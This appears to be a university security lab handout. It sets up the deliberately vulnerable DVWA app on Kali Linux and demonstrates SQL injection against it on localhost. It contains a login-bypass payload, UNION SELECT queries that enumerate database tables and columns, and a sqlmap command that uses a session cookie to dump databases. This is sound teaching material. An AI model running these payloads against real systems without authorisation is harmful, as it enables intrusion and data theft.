

Lab 5. Study SQL injection and perform SQL injection using DVWA.

Setup DVWA

Step 1: Install DVWA

- 1. Open a terminal in Kali Linux.
- 2. Install Apache and PHP:
- 3. sudo apt update
- 4. sudo apt install apache2 php php-mysgli unzip
- 5. Download DVWA:
- 6. git clone https://github.com/digininja/DVWA.git
- 7. Move DVWA to the web server root directory:
- 8. sudo mv DVWA /var/www/html/
- 9. Set appropriate permissions:
- 10. sudo chown -R www-data:www-data /var/www/html/DVWA
- 11. sudo chmod -R 755 /var/www/html/DVWA
- 12. Create a database for DVWA:
 - o Start MySQL:
 - o sudo service mysql start
 - o Log in to MySQL:
 - o mysql -u root -p
 - o Execute the following commands in MySQL:
 - CREATE DATABASE dvwa;
 - CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'password';
 - GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost';
 - FLUSH PRIVILEGES;
 - EXIT;

13. Configure DVWA:

- Edit the config.inc.php file in DVWA:
- sudo nano /var/www/html/DVWA/config/config.inc.php
- Update the database credentials:
- o \$_DVWA = array();
- o \$_DVWA['db_server'] = '127.0.0.1';



- o \$_DVWA['db_database'] = 'dvwa';
- o \$_DVWA['db_user'] = 'dvwauser';
- o \$_DVWA['db_password'] = 'password';
- 14. Start Apache:
- 15. sudo service apache2 start

Performing SQL Injection

Step 1: Access DVWA

- 1. Open a browser and navigate to:
- 2. http://localhost/DVWA
- 3. Log in using the default credentials:
 - o Username: admin
 - o Password: password
- 4. Set the Security Level to Low in the DVWA Security tab.

Step 2: SQL Injection on Login Page

- 1. Navigate to the SQL Injection tab in DVWA.
- 2. Use the following SQL payload in the input box:
 - o For example:
 - o 'OR'1'='1'--
 - o Explanation:
 - ' closes the SQL query.
 - OR '1'='1' always evaluates to true.
 - -- comments out the rest of the query.
- 3. Click Submit and observe the results.
- 4. Capture the bypassed login or displayed data as a result of the injection.

Step 3: Extracting Data

- 1. Use an injection to fetch data:
- 2. 'UNION SELECT null, database() -
 - o Purpose: Displays the database name.
- 3. Further queries can be used to enumerate tables and columns:





- 4. 'UNION SELECT null, table_name FROM information_schema.tables --
- 5. 'UNION SELECT null, column_name FROM information_schema.columns WHERE table_name='users' --
- 6. Show the database name or extracted data.

Step 4: Automating with SQLMap

- 1. Install SQLMap:
- 2. sudo apt install sqlmap
- 3. Use SQLMap to automate the injection:
- 4. sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<session_id>; security=low" --dbs
 - o Replace <session_id> with your session cookie.
- 5. Display SQLMap extracting database information.